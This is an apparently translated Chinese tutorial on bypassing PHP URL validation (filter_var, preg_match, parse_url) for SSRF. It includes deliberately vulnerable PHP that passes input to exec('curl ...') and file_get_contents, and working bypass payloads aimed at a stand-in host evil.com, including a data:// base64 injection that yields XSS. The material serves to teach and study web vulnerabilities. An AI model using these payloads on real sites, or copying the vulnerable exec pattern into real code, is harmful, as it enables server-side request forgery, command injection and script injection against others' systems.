0x01 前言
這篇文章是在我看完一片國外安全大佬寫的文章后對其進行總結并翻譯得到的。
0x02 正文之繞過filter_var和preg_match
本片文章主要深入一種php ssrf的技術——如何繞過例如filter_var(), preg_match()和parse_url()等函數。
本次我進行測試的php版本全部為php v5.6.30
php-version
PHP 漏洞代碼
echo "Argument: ".$argv[1]."\n";
//check if argument is a valid URL
if(filter_var($argv[1], FILTER_VALIDATE_URL)){
//parse URL
$r = parse_url($argv[1]);
print_r($r);
//check if host ends with google.com
if(preg_match('/baidu\.com$/', $r['host'])){
//get page from URL
exec('curl -v -s "'.$r['host'].'"', $a);
print_r($a);
}else{
echo "Error: Host not allowed";
}
}else{
echo "Error: Invalid URL";
}
?>
這段代碼里使用了filter_var()函數,preg_match()函數來進行過濾,并用parse_url()函數進行解析,最后利用exec函數執行curl命令進行訪問網址。
在正式介紹繞過技術之前,我們需要了解一下以上函數的具體作用。
filter_var()
filter_var — 使用特定的過濾器過濾一個變量
FILTER_VALIDATE_URL
preg_match()
該函數使用正則表達式來進行匹配特定的字符串
parse_url()
parse_url
ok,了解了這些函數后,說說上面的測試代碼。這段代碼的是獲取第一個參數(這個參數是用來模擬通過$_GET或者$_POST方法獲取的),然后通過filter_var()函數判斷傳入的url時候符合規定。如果如何規定,通過parse_url來解析這個參數,獲取到host值,通過preg_match函數來判斷host時候以baidu.com結尾。
運行上面的代碼得到的正常結果取下:
如果不是正常的參數呢?
http://evil.com
繞過FILTER_VALIDATE_URL和正則表達式
許多URL結構保留一些特殊的字符用來表示特殊的含義,這些符號在URL中不同的位置有著其特殊的語義。字符“;”, “/”, “?”, “:”, “@”, “=” 和“&”是被保留的。除了分層路徑中的點段,通用語法將路徑段視為不透明。 生成URI的應用程序通常使用段中允許的保留字符來分隔。例如“;”和“=”用來分割參數和參數值。逗號也有著類似的作用。
例如,有的結構使用name;v=1.1來表示name的version是1.1,然而還可以使用name,1.1來表示相同的意思。當然對于URL來說,這些保留的符號還是要看URL的算法來表示他們的作用。
運行代碼試一下
發現報錯了,返回的是Invalid URL,那么因該是filter_var函數沒有繞過。filter_var函數可以解析多種協議,我們可以試一下不是http的協議,例如
0://evil.com;baidu.com
ok,成功繞過filter_var和preg_match函數!但是我們發現它并沒有解析我們的url,別擔心,我們試試添加一下端口號,因為不是http的話默認端口就不是80了
0://evil.com:80;baidu.com:80
ok,成功解析!
當然,我們之前說的逗號也是可以跟分號是一個作用的
依舊成功!
0x03 正文之繞過parse_url
parse_url函數不是用來驗證URL的正確性的,而是盡可能的去解析URL,并把URL分割成特定的部分。在這種情況下,可以使用將URL的部分變為變量從而進行繞過。
0://evil$baidu.com
這里,在bash中,$var是一個變量,在這個例子中$baidu這個變量未定義是個空,也就是說這個URL是0://evil.com,也就是0://evil.com,成功繞過!
但是這種方法也是有局限性的,因為需要利用bash中的特性,因此只有在php腳本中使用exec()、system()等命令執行的函數執行curl或者wget命令時才可以完成。
0x04 正文之data://偽協議和xss利用
與上面的exec不同,這里我們使用的是filter_get_content函數,php的測試代碼如下:
echo "Argument: ".$argv[1]."\n";
// check if argument is a valid URL
if(filter_var($argv[1], FILTER_VALIDATE_URL)) {
// parse URL
$r = parse_url($argv[1]);
print_r($r);
// check if host ends with google.com
if(preg_match('/baidu\.com$/', $r['host'])) {
// get page from URL
$a = file_get_contents($argv[1]);
echo($a);
} else {
echo "Error: Host not allowed";
}
} else {
echo "Error: Invalid URL";
}
?>
這次我們的任務是在響應主體中修改內容,添加一個“Hacked by Pino_HD”
data://text/plain;base64,SGFja2VkIGJ5IFBpbm8Kbaidu.com
發現parse_url函數把text設置成了host,然后報了Host not allowed錯誤。但是別擔心,我們可以注入一些東西到MIME類型的地方,因為php是不關心MIME類型的。。
data://baidu.com/plain;base64,SGFja2VkIGJ5IFBpbm8K
ok,成功在響應包中寫入我們想要寫的東西。因此我們是可以控制響應體的內容,從而形成xss